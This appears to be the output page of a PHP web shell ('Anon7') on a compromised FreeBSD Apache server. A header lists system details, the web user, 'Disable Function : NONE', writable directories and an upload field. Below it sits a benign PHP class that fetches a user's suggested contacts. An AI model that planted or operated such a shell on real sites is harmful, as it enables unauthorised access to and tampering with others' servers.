KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/conceptlabs1/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/conceptlabs1/classes/class.SuggestContacts.php
<?php
/**
 * This class provides suggested contacts of a user
*/

class SuggestContacts
{

	/**
	 * Fetches suggested contacts of a user
	 * @param name name of user
	*/
	function suggestedContacts($name)
	{
		global $site_path, $site_url, $fsds_obj;
		// $fl = $site_path.'files'.DIRECTORY_SEPARATOR.'un'.DIRECTORY_SEPARATOR.$name.'.u';
		$uresnm = $name.'.u';
		$udtls = array();
		// if(is_file($fl) && file_exists($fl)) {
		if($fsds_obj->exists('users', $uresnm)) {
			// $udtl = file_get_contents($fl);
			$udtl = $fsds_obj->get('users', $uresnm);
			if(trim($udtl) != '') {
				$udtls = @ json_decode($udtl, 1);
				if(!is_array($udtls)) { $udtls = array(); }
			}
		}
		if(!isset($udtls['scon']) || !is_array($udtls['scon'])) { 
			$udtls['scon'] = array(); 
		}
		return $udtls['scon'];
	}

}
?>

Anon7 - 2021